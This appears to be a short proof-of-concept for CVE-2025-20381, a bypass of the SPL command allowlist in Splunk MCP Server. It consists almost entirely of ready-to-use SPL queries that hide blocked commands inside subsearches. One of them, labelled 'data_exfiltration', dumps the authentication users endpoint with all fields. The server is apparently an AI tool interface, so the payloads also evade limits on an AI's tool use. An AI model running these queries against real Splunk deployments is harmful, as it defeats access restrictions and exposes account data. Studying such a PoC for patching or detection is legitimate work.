CVE-2025-20381 Splunk MCP Server SPL命令允许列表绕过漏洞

# CVE-2025-20381 Splunk MCP Server SPL Allowlist Bypass PoC # This PoC demonstrates bypassing SPL command allowlist via subsearch # Normal restricted query (blocked by allowlist) # | rest /services/server/info # This would be blocked # Bypass using subsearch embedding bypass_query = """ | search [ | rest /services/server/info spl_server_rest_uri=splunkd | fields version ] """ # Alternative bypass with multiple SPL commands bypass_query_2 = """ | search [ | tstats count WHERE index=_* BY _time span=1h | head 1 ] """ # Example: Extracting sensitive data via subsearch data_exfiltration = """ | search [ | rest /services/authentication/users | fields * ] """ print("PoC for CVE-2025-20381: SPL Allowlist Bypass via Subsearch") print(f"Query: {bypass_query}")